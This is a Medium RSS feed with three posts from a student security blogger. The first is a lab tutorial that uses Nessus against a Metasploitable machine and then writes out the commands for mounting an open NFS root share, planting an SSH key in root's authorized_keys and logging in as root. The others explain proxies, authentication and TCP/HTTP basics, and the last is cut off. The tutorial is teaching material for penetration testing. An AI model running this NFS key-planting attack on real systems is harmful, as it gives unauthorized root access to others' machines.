<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Büşra Gültekin on Medium]]></title>
        <description><![CDATA[Stories by Büşra Gültekin on Medium]]></description>
        <link>https://medium.com/@gullbusraa?source=rss-0124aaa8a32e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-czFA1MOzfERXVBSNeIEvw.jpeg</url>
            <title>Stories by Büşra Gültekin on Medium</title>
            <link>https://medium.com/@gullbusraa?source=rss-0124aaa8a32e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:08:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gullbusraa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nessus via Metasploitable: How to exploit a vulnerability by using the Nessus tool?]]></title>
            <link>https://medium.com/@gullbusraa/nessus-via-metasploitable-how-to-exploit-a-vulnerability-by-using-the-nessus-tool-4f5da6f715e8?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f5da6f715e8</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[nessus]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Tue, 16 Jan 2024 09:52:22 GMT</pubDate>
            <atom:updated>2024-01-16T12:31:16.315Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="cyber security" src="https://cdn-images-1.medium.com/max/1024/0*6F2KHym-Ld5D9d9c" /></figure><p>Kali Linux, a Linux distribution designed specifically for penetration testing, comes prepackaged with many pen test tools like as I will talk about the Nessus.</p><p><strong>Nessus</strong> is a well-known, popular vulnerability scanner and a platform developed by Tenable that scans for security vulnerabilities in devices, applications, operating systems, cloud services and other network resources.</p><p>Nessus provides a penetration tester with a wealth of capabilities that will assist in the engagement, such as:</p><ul><li>Identifying local and remote vulnerabilities</li><li>Configuration and compliance audits</li><li>Checking for default credentials</li><li>Web application scanning</li></ul><p>Nessus is not installed on Kali Linux by default, but this article will show you how to install Nessus and provide some suggestions for using it in a penetration testing engagement.</p><h4><strong>Nessus Installation Instructions</strong></h4><p>Let’s begin with the Nessus installation. When you are in your Kali-Linux machine, go on the web-browser and enter <a href="https://www.tenable.com/downloads/nessus?loginAttempted=true"><strong>this link</strong></a> to visit the Nessus Download page.</p><blockquote>There are AARCH64 packages for Ubuntu, RHEL, Raspberry Pi, and Amazon Linux. There isn’t one specifically for Kali. My host system is M1 Mac. If it’s the same for you, you could maybe try the Ubuntu AARCH64 package since they’re both debian-based. I tried Ubuntu AARCH64 at last and it works properly.</blockquote><figure><img alt="tenable nessus" src="https://cdn-images-1.medium.com/max/1024/0*WTFj9Bbu03dm0SQu" /></figure><p>Once it’s downloaded, go to the Download folder in Kali and open the terminal by right clicking in here.</p><figure><img alt="nessus package" src="https://cdn-images-1.medium.com/max/1024/0*peG-ltP3bqa9UWdK" /></figure><p>Now, we have a package to install it. Before you use the commands, make sure you gain the sudo permission. So, you should change the root via tying the <strong><em>sudo su</em></strong> command. Then we will install the package with this command:</p><pre>dpkg -i &lt;fill_thePackageName_here&gt;</pre><figure><img alt="run nessus in kali" src="https://cdn-images-1.medium.com/max/1024/0*OVXI3NqqbrqSxfRO" /></figure><p>If you have a rpm file to install you should try the rpm command as follows.</p><figure><img alt="rpm command" src="https://cdn-images-1.medium.com/max/1024/0*tuSgYp-cZQ19ILEK" /></figure><p>Then, press enter and it’ll be installed properly as follows.</p><figure><img alt="start nessus scaner" src="https://cdn-images-1.medium.com/max/1024/0*NauGZ0sVl61MxycY" /></figure><p>Okay, once it’s done too we need to start <em>Nessus Scanner</em> by running this command as he told us below.</p><pre>/bin/systemctl start nessusd.service</pre><p>Shortly after, click on the <a href="https://kali:8834/"><strong><em>https://kali:8834/</em></strong></a><em> </em>address to redirect us to configure the Nessus.</p><figure><img alt="start nessus service" src="https://cdn-images-1.medium.com/max/1024/0*1qZtmSrr84R6U1SJ" /></figure><p>It will show you the warning page, don’t worry and click on ‘<em>Advanced</em>’ and ‘<em>Accept the Risk and Continue</em>’.</p><p>Here, welcome to Nessus. Continue.</p><figure><img alt="nessus" src="https://cdn-images-1.medium.com/max/1024/0*8Z0nz6JRpBJ_00Iz" /></figure><p>Select the option of ‘<em>Register for Nessus Essentials</em>’ and Continue.</p><figure><img alt="register nessus" src="https://cdn-images-1.medium.com/max/1024/0*vZriNWG0iY5-ekth" /></figure><p>Next step, you need to provide your name, e-mail etc. This e-mail should be a valid e-mail, it could send you an activation code. Then you will get license information. Continue from here. At last it will download the plugins.</p><figure><img alt="downloading nessus" src="https://cdn-images-1.medium.com/max/1024/0*Y4uaHzhwxiKDtYb3" /></figure><p>Nessus tool interface as follows. We need to wait until all plugins complete the compilation. You will see the status of that on the top-right.</p><figure><img alt="compiling plugins" src="https://cdn-images-1.medium.com/max/1024/0*WjGLX7SRhi-RLPU1" /></figure><figure><img alt="plugins done" src="https://cdn-images-1.medium.com/max/686/0*dYB_Mux9naF9i7X8" /></figure><blockquote><strong>Note:</strong> Installation all setups take more time or less, depending on the processing power of the virtual machine.</blockquote><p>All right, so compiling of the plugins has been completed. We have come to the part where we will do the real work. <strong>🚀</strong></p><figure><img alt="question" src="https://cdn-images-1.medium.com/max/480/0*HaLvtS4qi_IHyaZH" /></figure><h3><strong>How to exploit a vulnerability by using the Nessus tool?</strong></h3><p>First of all, I need to clarify that <strong>Metasploitable</strong> will be our target machine that we will use to detect vulnerabilities. If you want to know more about the Metasploitable machine and how to install it, you can read my last article <a href="https://medium.com/@gullbusraa/detection-of-port-scan-attacks-how-to-use-nmap-to-scan-open-ports-b832339135b6"><strong>here</strong></a>.</p><p>So, let’s continue where we were last.</p><figure><img alt="nessus essentials" src="https://cdn-images-1.medium.com/max/1024/0*JW5YO8tlrbFeHg_e" /></figure><p>We need to make sure what the IP address of the Metasploitable machine is. You know what you do, go on your Metasploitable machine, log in with <strong><em>msfadmin</em></strong> and run the <strong><em>ifconfig</em></strong> command. You will see the IP address with the <strong><em>eth0</em></strong> section.</p><figure><img alt="metasploitable" src="https://cdn-images-1.medium.com/max/1024/0*__HOmvc7fSssJUlX" /></figure><p>Here, I know my Metasploitable IP address is “<strong><em>192.168.0.14</em></strong>“. So, go back to the Nessus panel and enter the <strong><em>New Scan</em></strong> button.</p><figure><img alt="create new scan" src="https://cdn-images-1.medium.com/max/1024/0*x6OuEkIPzcDph_Mj" /></figure><p>You will see many scan options here. I have chosen <strong>Advanced Scan</strong> for this example.</p><figure><img alt="scan options" src="https://cdn-images-1.medium.com/max/1024/0*a6QYarx91YtasDvi" /></figure><p>Here we go! I applied the scan settings as follows. The important thing here is the <em>Targets</em> section, you need to type the target machine’s IP address in that box.</p><figure><img alt="advanced scan" src="https://cdn-images-1.medium.com/max/1024/0*PN98XOlaH5z5WWBM" /></figure><p>Then we need to arrange the <strong><em>Credentials</em></strong>. The Credentials part is much more important because more vulnerabilities will show up if you make credentials settings. At this moment, I arranged the method as password, and I entered datas of my Metasploitable’s user and password which is that of the root user.</p><figure><img alt="scan credentials" src="https://cdn-images-1.medium.com/max/1024/0*V4z0IVv1N6CbpqQu" /></figure><p>Checked the other settings.</p><figure><img alt="scan settings" src="https://cdn-images-1.medium.com/max/1024/0*rNRpXlcSa-jea7WL" /></figure><p>Then save all edits.</p><figure><img alt="save scan" src="https://cdn-images-1.medium.com/max/1024/0*DJRwBkSXOD5fW3D2" /></figure><p>Once you save your scan, you will see it in your scan lists. Here we need to click on the play ikon which means <em>Launch</em>.</p><figure><img alt="launch scan" src="https://cdn-images-1.medium.com/max/1024/0*FV0_x0lTqv0cWKVt" /></figure><p>And now, the scan has started.</p><figure><img alt="nessus scan started" src="https://cdn-images-1.medium.com/max/1024/0*dGiqxDUBPkcengZT" /></figure><p>When you double click on your Scan, you can see this screen as follows. You will have know when your scan is finished at the right side below the Scan Details.</p><figure><img alt="scan details" src="https://cdn-images-1.medium.com/max/1024/0*dly-g-IdYvongkGf" /></figure><p>Once the scan has completed, we can see all vulnerabilities in the <strong><em>Vulnerabilities</em></strong> section. It found a total of <strong>60</strong> security vulnerabilities as you can see.</p><figure><img alt="scan vulnerabilities" src="https://cdn-images-1.medium.com/max/1024/0*9odwgGRlXlhFPOrV" /></figure><p>The breakdown of the vulnerabilities is as follows:</p><blockquote><strong>Critical</strong>: 7</blockquote><blockquote><strong>High</strong>: 5</blockquote><blockquote><strong>Medium</strong>: 7</blockquote><blockquote><strong>Low</strong>: 4</blockquote><blockquote><strong>Info</strong>: 130</blockquote><figure><img alt="breakdown of vulnerabilities" src="https://cdn-images-1.medium.com/max/1024/0*TrrCa8LFVJMceH0v" /></figure><p>It is vital that the 7 critical vulnerabilities identified are patched to ensure that none of the internal systems are compromised otherwise there is a high risk of allowing access to potential hackers. So, how do these hackers exploit those vulnerabilities? Let’s take a look with an example. I have chosen the vulnerability of ‘<em>NFS Exported Share Information Disclosure</em>’.</p><figure><img alt="hacking" src="https://cdn-images-1.medium.com/max/355/0*yZvpuQrLF1ykWJXz" /></figure><h4><strong>What is NFS?</strong></h4><p>NFS is a Network File Sharing protocol that allows users to share directories and files over the network across different operating systems. In addition, it will enable remote systems to be accessible locally when the shares are mounted. The accessibility of the NFS shares is based on whatever privileges are assigned to the share.</p><p>If NFS is misconfigured, it can provide an attacker with unauthorized access to sensitive data or obtain a shell on the system.</p><p>We will learn how to exploit a weakly configured NFS share to access a remote host with SSH.</p><p>First, we need to understand this vulnerability well. Examine the NFS vulnerability by clicking on to see details. There are <em>Description</em>, <em>Solution</em>, <em>Plugin Details</em> and most important ones beside those; <em>Vulnerability Information</em> and <em>Exploit Info</em>rmation sections.</p><figure><img alt="NFS Exported Share Information Disclousure" src="https://cdn-images-1.medium.com/max/1024/0*9zKrmXJ5P1-E-drD" /></figure><figure><img alt="NFS vulnerability information" src="https://cdn-images-1.medium.com/max/1024/0*-U2WEORltUOIF4HG" /></figure><p>Here, we see it is certain that this vulnerability can be exploited for sure, and exploitable with the Metasploit (<em>NFS Mount Scanner</em>).</p><p>Let’s check out in our terminal too. Open your terminal and run the <strong><em>msfconsole</em></strong> command. Then, search the NFS Mount Scanner by running the <strong><em>search nfs</em></strong> command as follows.</p><p>Yeah we found it, you can see it where I marked it as a square.</p><figure><img alt="kali msf console" src="https://cdn-images-1.medium.com/max/1024/0*9H3pK0YT15OS5qQb" /></figure><blockquote>☛ The above scan (Nessus Scans) demonstrates all the available open TCP ports available on the vulnerable Metasploitable machine. Using <strong><em>-sV</em></strong>, <strong><em>-sS</em></strong> command to identify the version of the services running on the TCP ports allows a potential hacker to see which ports have the weakest vulnerabilities thus allowing them to systemically choose the easiest port for exploitation.</blockquote><p>Let’s identify which ports are open and which services are running in our Metasploit able server with nmap command as below.</p><pre>nmap -sS &lt;target_IP_address&gt;</pre><figure><img alt="kali nmap" src="https://cdn-images-1.medium.com/max/1024/0*BaDPkUWgfzJlXkGI" /></figure><p>Our NFS service is running on the 2049 port of TCP as you can see. 🙂</p><p>Let’s get into details of this program number and program version is associated with each port via this command:</p><pre>rpcinfo -p &lt;target_IP_address&gt;</pre><figure><img alt="rpcinfo" src="https://cdn-images-1.medium.com/max/1024/0*_ujrNq8_UKd9ZJcT" /></figure><p>Now, get back to the other terminal where we used msfconsole. When we searched nfs the module showed up, we will use that module to arrange some other things. Run these commands as follows:</p><pre>use auxiliary/scanner/nfs/nfsmount</pre><pre>show options</pre><p>Then the module options will appear. Here, you need to set up your target IP address for the <em>RHOSTS</em> part. Commands are:</p><pre>set rhost &lt;target_IP_address&gt;</pre><pre>run</pre><figure><img alt="search msf" src="https://cdn-images-1.medium.com/max/1024/0*Hn4XggYDGE822le7" /></figure><figure><img alt="set rhost" src="https://cdn-images-1.medium.com/max/1024/0*jb-b3qlBCMD8DdhB" /></figure><p>That’s it, it is arranged as above where I marked. Let’s see which directory the NFS server is sharing with running this command:</p><pre>showmount -e &lt;target_IP_address&gt;</pre><figure><img alt="nfs sharing directory" src="https://cdn-images-1.medium.com/max/1024/0*dqautW4l1Ul2t4kM" /></figure><p>Here, the forward slash asterisk symbolizes the root directory. After that, we need to start with creating a new directory locally in the “<strong><em>/tmp</em></strong>” directory, and I’ll call it ‘<strong>test</strong>’<strong> </strong>to use for mounting the remote share.</p><pre>mkdir /tmp/test</pre><p>The next step will be trying to mount the remote NFS share “ <strong><em>/ </em></strong>” locally with the mount utility on Linux. To do this run this command as follows:</p><pre>sudo mount -t nfs &lt;target_IP_address&gt;:/ /tmp/test/ -o nolock</pre><p>When it’s ok, you can check it out as I showed you too. By the way, we didn’t need any credentials to do so.</p><figure><img alt="mount utility on linux" src="https://cdn-images-1.medium.com/max/1024/0*dACK6q3jvItcJgA7" /></figure><p>You can see the msfadmin, service and user too:</p><figure><img alt="terminal access" src="https://cdn-images-1.medium.com/max/1024/0*KwYX0L_jFwj7-NuM" /></figure><p>We have root access to the main exploitable server. Now, we are going to generate a new SSH key. First, get into it like I entered:</p><pre>cd /tmp/test/root/.ssh</pre><figure><img alt="generate a new ssh key" src="https://cdn-images-1.medium.com/max/1024/0*JRvzQNsSe10xkKe5" /></figure><p>Next step is in here typing this command:</p><pre>sudo ssh-keygen</pre><p>While it is generating follow this steps as I shared:</p><ul><li>press <em>space</em> and enter</li><li>overwrite; type <em>yes</em> and enter</li><li>press <em>space</em> and enter</li><li>press <em>space</em> and enter</li></ul><p>I marked important ones in these prints as you see, they are identification path and public key path.</p><figure><img alt="sudo ssh-keygen" src="https://cdn-images-1.medium.com/max/1024/0*239t-f-4nx4Be3LJ" /></figure><p>We will use the public key directory path, which is <strong>/root/.ssh/id_rsa.pub</strong></p><p>From source file to destination file, run this command:</p><pre>sudo cp /root/.ssh/id_rsa.pub /tmp/test/root/.ssh</pre><p>To see what it contents, run this command:</p><pre>sudo cat /root/.ssh/id_rsa.pub /tmp/test/root/.ssh/authorized_keys</pre><figure><img alt="public key directory path" src="https://cdn-images-1.medium.com/max/1024/0*9y2RaZrS63PXbECh" /></figure><p>We can see the details of auth keys now, if you look carefully there is a msfadmin ssh key output.</p><p>You must be in a root mode to place the ssh key in the may display table servers authorize piece file, to do this run this command:</p><pre>sudo cat /root/.ssh/id_rsa.pub &gt;&gt; /tmp/test/root/.ssh/authorized_keys</pre><p>When ‘<em>permission denied</em>’ show up, run this command first and after that type previous command:</p><pre>sudo -i</pre><pre>cat /root/.ssh/id_rsa.pub &gt;&gt; /tmp/test/root/.ssh/authorized_keys</pre><p>Copy the locally created <strong><em>authorized_keys</em></strong> file to the NFS share under <strong>root/.ssh/ </strong>path. Now it’s done as follows.</p><figure><img alt="authorized_keys to nfs" src="https://cdn-images-1.medium.com/max/1024/0*HQZ2H067kqLdT5Ka" /></figure><p>Last but not least 🙂 We have one step to get root for the Metasploitable server. Connect to the remote machine without a public key.</p><p>To get root, run this command properly as I did:</p><pre>sudo ssh -i /root/.ssh/id_rsa root@&lt;target_IP_address&gt; -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa</pre><figure><img alt="get root in target server" src="https://cdn-images-1.medium.com/max/1024/0*NHpS9S7rSAs67bn7" /></figure><h4><strong>That’s it!</strong></h4><p>Hey, look at this where I marked a square, we connected to the machine as a root now! <strong>🚀</strong></p><figure><img alt="get root" src="https://cdn-images-1.medium.com/max/480/0*kU34Saw4SbRxeE7e" /></figure><p>Let’s check it out when we did for our Metasploitable machine. 😀 Run the <strong><em>ifconfig</em></strong> command in here to see the IP address that we attacked.</p><figure><img alt="metasploitable ifconfig" src="https://cdn-images-1.medium.com/max/1024/0*v0VRzL1rzMc3l5mU" /></figure><p>When you have the access, you can do any things like creating a new directory, file or you can take a look at all files there that exist. <strong>😈</strong></p><p>For example, look at what I did in a second at below. 🙂</p><figure><img alt="whoami" src="https://cdn-images-1.medium.com/max/1024/0*_4nlWsfsOb_minjt" /></figure><p><strong>💡 </strong>Before I conclude this tutorial, I want to explain a couple of ways that this attack could have been prevented. As you saw, we were not required to enter any credentials to connect to the NFS Server. If I were the system administrator, I could have prevented this by creating users and groups assigning appropriate privileges to those users and groups and setting up an authentication and encryption system. Also, you saw that we were able to mount the root directory.</p><p>If I were the system administrator, I would never have to use the root directory as a mount point. There are much better, more secure ways to give root access to a user. NFS really should be used to share a specific directory that contains specific files. For example, it would be relevant to use NFS for the purpose of sharing project files during a team collaboration or something along those lines.</p><figure><img alt="hackable" src="https://cdn-images-1.medium.com/max/480/0*880xnmKFBICllLhI" /></figure><h4><strong>Conclusion</strong></h4><p>Your organization should know what dangers are out there. It should assess threats facing its applications, enabling the business to better protect its systems and data from malicious attacks. Vulnerabilities can be found in applications from third-party vendors and internally made software, but most of these flaws are easily fixed once found.</p><p>To do this, you must assess and test. There are many types of testing, these are collectively known as ‘<em>Vulnerability Assessments and Penetration Testing</em>’. Classical ‘<em>Penetration Testing</em>’ means that tests are performed from the perspective of an attacker, and vulnerabilities are exploited to see ‘<strong>how far an attacker can get’</strong>.</p><p>For example, we attacked a vulnerability that we found as you know. To complete this task, you could research the actions that will close the vulnerability you found on Metasploitable and try to close the vulnerability. If it is not possible to close the vulnerability directly, you can disable the vulnerable port through the firewall, but you need to prove that it has not been exploited again.</p><p>There are many ways to close any vulnerabilities. I will discuss this topic in more depth in another article that I will talk about ‘Penetration Testing Process’. Until then, see you later! Keep in touch. 😎</p><figure><img alt="michael scott" src="https://cdn-images-1.medium.com/max/480/0*sv65NcWHaBUSn43T" /></figure><blockquote>“UNIQUESEC Student Club | Website (Link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec"> https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f5da6f715e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Common Topics in Network: Proxy Server, Authentication & Authorization, Front-end & Back-end]]></title>
            <link>https://medium.com/@gullbusraa/common-topics-in-network-proxy-server-authentication-authorization-front-end-back-end-f6a53883f94d?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6a53883f94d</guid>
            <category><![CDATA[authorization]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[backend]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Mon, 08 Jan 2024 14:52:21 GMT</pubDate>
            <atom:updated>2024-01-08T15:23:47.472Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="network security" src="https://cdn-images-1.medium.com/max/1024/0*Br5gt6bJj-14JtyJ" /></figure><h3><strong>Proxy Server</strong></h3><p>A proxy server is a computer application that acts as a gatekeeper between a user seeking information and a server. The server is a castle where private information is protected and stored. The proxy is the drawbridge at the entrance of the castle, providing security and protection against threats like DDoS attacks and more while collecting and funneling all requests from the user in a systematic way.</p><p>Businesses implement them to protect their sites, establish a controlled employee network, and increase their firewalls against hackers. Individuals might consider having a proxy server to add a layer of privacy or security for their online browsing. The proxy server will send the individuals requests to the site, thus shielding their private information from the final server in the process.</p><figure><img alt="attacks" src="https://cdn-images-1.medium.com/max/480/0*Ujjb6zPlWx7qKcft" /></figure><p>To put it simply, a proxy server acts as a gateway or intermediary server (but there are roles and responsibilities) between a user and its destination website. Proxy servers enable sites including personal sites, blogging platforms and business sites to operate more efficiently driving download times and protecting both the server’s security and requester’s privacy.</p><figure><img alt="proxy server" src="https://cdn-images-1.medium.com/max/750/0*Bd8px2VG1TyqWYE4" /></figure><h4><strong>How Proxy Servers Work?</strong></h4><p>Every device connected to the internet has an IP (Internet Protocol) address. This address is how a device is recognized on the internet, and it plays a role in how proxy servers work. Proxies can have different ways of working, but the following steps are common among all proxy servers:</p><ul><li>When a device makes a request to the internet through a proxy, the proxy server reads and interprets the request.</li><li>That request is then forwarded to the right internet server.</li><li>The internet server reads the IP of the proxy and sends the requested data to the IP of that proxy.</li><li>The proxy server receives the data, extracts it, and checks it for possible malware.</li><li>Once marked safe, the data is forwarded to the requesting device.</li></ul><figure><img alt="how proxy sever work" src="https://cdn-images-1.medium.com/max/1024/0*C65rSzBDpsxskj_8" /></figure><h4><strong>Advantages of Proxy Server in Security Tests</strong></h4><p>Proxy servers allow access to blocked contents. Proxies can serve as an efficient firewall system. They can also filter content from third-party websites, allowing control over internet usage. In many cases browsing speeds are stabilized compared to vanilla internet. Thanks to proper optimization on the base proxy server the element of privacy proxies provides is highly lucrative to people looking to hide their actual IP address from as many prying eyes as possible.</p><h3><strong>Authentication &amp; Authorization</strong></h3><p>Authentication and authorization are separate processes used to protect an organization from cyberattacks. As data breaches continue to escalate in both frequency and scope, authentication and authorization are the first line of defense to prevent confidential data from falling into the wrong hands. As a result, strong authentication and authorization methods should be a critical part of every organization’s overall security strategy.</p><figure><img alt="identity" src="https://cdn-images-1.medium.com/max/500/0*Yyhae7k5KDoloak7" /></figure><h4><strong>Authentication</strong></h4><p>Authentication works through passwords, one-time pins, biometric information, and other information provided or entered by the user.Authentication is visible to and partially changeable by the user. In authentication, the user or computer has to prove its identity to the server or client.</p><p>For example, by verifying their identity, employees can gain access to an application that includes their personal pay information, off-days time etc.</p><h4><strong>Types of Authentication:</strong></h4><ul><li>Passwords, PIN</li><li>Smart Cards, Security Tokens</li><li>Fingerprint, Facial Recognition</li></ul><figure><img alt="authentication" src="https://cdn-images-1.medium.com/max/693/0*pbxVD1QUY6shCw8L" /></figure><h4><strong>Authorization</strong></h4><p>Authorization is a process by which a server determines if the client has permission to use a resource or access a file. Authorization works through settings that are implemented and maintained by the organization. Authorization determines what resources a user can access. Authorization isn’t visible to or changeable by the user.</p><p>For example, once their level of access is authorized, employees and managers can access different levels of data based on the permissions set by the organization.</p><figure><img alt="authorization" src="https://cdn-images-1.medium.com/max/480/0*d8GE9_fGpB-Zxeg-" /></figure><p><strong>Types of Authorization:</strong></p><ul><li>Discretionary Access Control (DAC)</li><li>Mandatory Access Control (MAC)</li><li>Role-Based Access Control (RBAC)</li><li>Attribute-based Access Control (ABAC)</li></ul><h3><strong>Front-end &amp; Back-end</strong></h3><p><strong>Front-end</strong> is the name given to the parts of the web that you can see and interact with. Front-end generally covers web design and development of the front end of the web. When it comes to web design; Designers who can use design programs such as Adobe XD, Photoshop, Figma and Sketch, as well as write code with HTML, CSS, JavaScript and JQuery are mentioned. Everything you see when using a website; HTML, CSS, and JavaScript are controlled by the web browser you use. This includes fonts, drop-down menus, transitions, sliders, contact forms, etc. includes design works. In other words, Front-end is a make-up artist for the skeleton or framework we say.</p><figure><img alt="web design" src="https://cdn-images-1.medium.com/max/500/0*zfX9hniuwQbnhesC" /></figure><p>It is the backend that provides the necessary infrastructure and technology to store the information added to these elements in the front-end, in short, to implement the frontend.</p><p><strong>Back-end</strong> usually consists of a server, an application and a database. When you buy a ticket by visiting an airline or bus company’s website, you interact with the frontend. When you enter your information on the website, the application receives this information and stores it in a database established on a server. To explain the backend operation simply, we can give an example as follows: The application saves information to a database (such as Excel) file on your server (computer).</p><p>The person who ensures that the server, database and application work together is called a backend developer. PHP, Ruby, React, Python etc. are used to create the backend part of the web. Software languages ​​and databases such as MySql, PostgreSQL, Oracle etc. are used.</p><p>Web design (frontend) and web development (backend) can only form a website when they come together, but they both do different jobs. Some software developers who can do both frontend and backend alone are called “full-stack developers”. Although it is necessary to briefly summarize again, in order to create a website from scratch, frontend and backend must be together. In other words, one cannot create a website without the other.</p><figure><img alt="see you later" src="https://cdn-images-1.medium.com/max/400/0*f3IGbDknvuy4QUQR" /></figure><blockquote>“UNIQUESEC Student Club | Website (Link:<a href="https://uniquesec.org/"> https://uniquesec.org/</a>) | Linkedin (Link:<a href="https://www.linkedin.com/company/uniquesec"> https://www.linkedin.com/company/uniquesec</a><a href="https://www.linkedin.com/company/uniquesec)%E2%80%9D">)”</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6a53883f94d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Network Security: TCP 3-Way Handshake, Http Protocol, Observing Network Traffic by…]]></title>
            <link>https://medium.com/@gullbusraa/introduction-to-network-security-tcp-3-way-handshake-http-protocol-observing-network-traffic-by-0edb1e25efd7?source=rss-0124aaa8a32e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0edb1e25efd7</guid>
            <category><![CDATA[protocol]]></category>
            <category><![CDATA[tcp]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Büşra Gültekin]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 15:48:26 GMT</pubDate>
            <atom:updated>2024-01-07T20:41:22.761Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction to Network Security: TCP 3-Way Handshake, Http Protocol, Observing Network Traffic by Wireshark</strong></h3><figure><img alt="fingerprint" src="https://cdn-images-1.medium.com/max/1024/0*HFV7FsFFoxiii1AT" /></figure><p>Hello everyone. I bet you missed my articles. Don’t worry I am still here and I will be. 🙂 In this article, I will talk about a few network communication protocols such as what TCP or HTTP is and how they work that we need to understand before getting deeply into network security.</p><p>Network security is one of the most important aspects to consider when working over the internet, LAN or other method, no matter how small or big your business is. A good network security system helps businesses reduce the risk of falling victim to data theft and sabotage.</p><p>Network security helps protect your workstations from harmful spyware. It also ensures that shared data is kept secure. Network security infrastructure provides several levels of protection to prevent MitM (Man-in-the-Middle) attacks by breaking down information into numerous parts, encrypting these parts and transmitting them through independent paths, thus preventing cases like eavesdropping.</p><blockquote>A <strong><em>man-in-the-middle attack</em></strong> is a type of eavesdropping attack, where attackers interrupt an existing conversation or data transfer. After inserting themselves in the “middle” of the transfer, the attackers pretend to be both legitimate participants. This enables an attacker to intercept information and data from either party while also sending malicious links or other information to both legitimate participants in a way that might not be detected until it is too late.</blockquote><figure><img alt="man in the mittle attack" src="https://cdn-images-1.medium.com/max/1024/0*oTGJ3pxmCm3fZST2" /><figcaption>Read <a href="https://www.strongdm.com/blog/man-in-the-middle-attack">this article</a> for more about MitM.</figcaption></figure><p>Communication protocols are vital to the functioning of a network. In fact, computer networks can’t exist without these protocols. These protocols formally describe the formats and rules by which data is transferred over the network. This is a must-have for exchanging messages between your computing systems and in telecommunications, applying to both hardware and software.</p><h3><strong>TCP 3-Way Handshake Process</strong></h3><p>TCP (Transmission Control Protocol) is a basic communication protocol used for data transmission in the network. TCP is a protocol that converts data into packets so that it can be sent between a server and a client. Organizations use TCP to transfer content such as files, text, images and emails because it guarantees that the packets will be delivered accurately and in the correct order. It’s widely used and easy to manage by startups and small businesses.</p><p>It’s worth noting that TCP will establish a connection between the origin and the destination devices before attempting to transfer data. Therefore we define this as TCP 3-Way Handshake. The process:</p><figure><img alt="matrix" src="https://cdn-images-1.medium.com/max/480/0*nNhVRGgqruN0cuRp" /></figure><ul><li><strong>SYN (Synchronize):</strong></li></ul><p>When a TCP connection is desired to be established between two devices, the client takes the first step with the SYN flag. This packet indicates that a connection is desired to be established on a specific port of the target device. The device sending the SYN packet includes a specific starting sequence number. Thanks to this sequence number, even if the packets do not arrive in order during TCP communication, the receiving party ensures that they put these packets in order.</p><ul><li><strong>SYN-ACK (Synchronize-Acknowledge):</strong></li></ul><p>The destination server sends an acknowledgement message known as SYN-ACK packet indicating that it has received and accepted the connection request. This packet contains the starting sequence number of the accepted connection. The target device also sends an ACK flag indicating its starting sequence number.</p><ul><li><strong>ACK (Acknowledge):</strong></li></ul><p>The first device sends an ACK packet to confirm that the destination server accepts the connection request by receiving the SYN-ACK packet and the connection is established. This ACK packet contains the initial sequence number of the destination server and the connection is now established.</p><figure><img alt="tcp 3 way handshake" src="https://cdn-images-1.medium.com/max/880/0*_BX3DufcmDX9hoil" /></figure><p>Similarly, TCP’s 3-way handshake is the process of exchanging some data, like when people talk on the phone. 🙂</p><figure><img alt="syn , ack" src="https://cdn-images-1.medium.com/max/880/0*jgxYVnyGrb4Z7mRd" /></figure><p>To better understand the three-way handshake, it may be necessary to examine the TCP header. The TCP header is as follows:</p><figure><img alt="tcp segment header" src="https://cdn-images-1.medium.com/max/880/0*xqzuO94qelExeGp2" /></figure><p>To complete the connection, we need TCP protocol to help HTTP protocol to establish the connection.</p><figure><img alt="tcp and http" src="https://cdn-images-1.medium.com/max/800/0*6jKTeJdd1gdq1O3O" /></figure><h3><strong>HTTP Protocol</strong></h3><p>HTTP (Hypertext Transfer Protocol) is maybe the most popular communication protocol that is built on top of TCP/IP communication protocol used in the Internet or WEB 